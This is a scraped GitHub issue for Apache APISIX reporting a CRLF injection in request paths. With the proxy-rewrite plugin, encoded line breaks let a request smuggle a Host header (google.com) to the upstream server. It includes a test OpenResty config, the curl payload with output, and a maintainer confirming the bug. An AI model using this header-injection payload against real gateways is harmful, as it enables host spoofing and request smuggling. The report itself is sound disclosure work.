We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
pid logs/nginx.pid; events { worker_connections 1024; } http { server { listen 8866; location / { content_by_lua ' ngx.say(ngx.var.host) '; } } }
curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i ## output: HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Date: Fri, 17 Feb 2023 04:07:49 GMT Server: Openresty test-limit.com
## the proxy-rewrite plugin configuration file is as follows proxy-rewrite: { "host": "test.xxxx.com" }, curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i ## output HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Date: Fri, 17 Feb 2023 04:24:42 GMT Server: Openresty google.com
The host obtained by upstream should not be rewritten as google.com, which can lead to malicious attacks
none
apisix version
uname -a
openresty -V
nginx -V
curl http://127.0.0.1:9090/v1/server_info
luarocks --version
The text was updated successfully, but these errors were encountered:
Thanks for your report! I can reproduce it with the latest version.
Sorry, something went wrong.
spacewander
Successfully merging a pull request may close this issue.
Current Behavior
Expected Behavior
The host obtained by upstream should not be rewritten as google.com, which can lead to malicious attacks
Error Logs
none
Steps to Reproduce
Environment
apisix version
): 2.10.5uname -a
): amzn2.x86_64openresty -V
ornginx -V
): nginx version: openresty/1.19.9.1curl http://127.0.0.1:9090/v1/server_info
): 3.5luarocks --version
):The text was updated successfully, but these errors were encountered: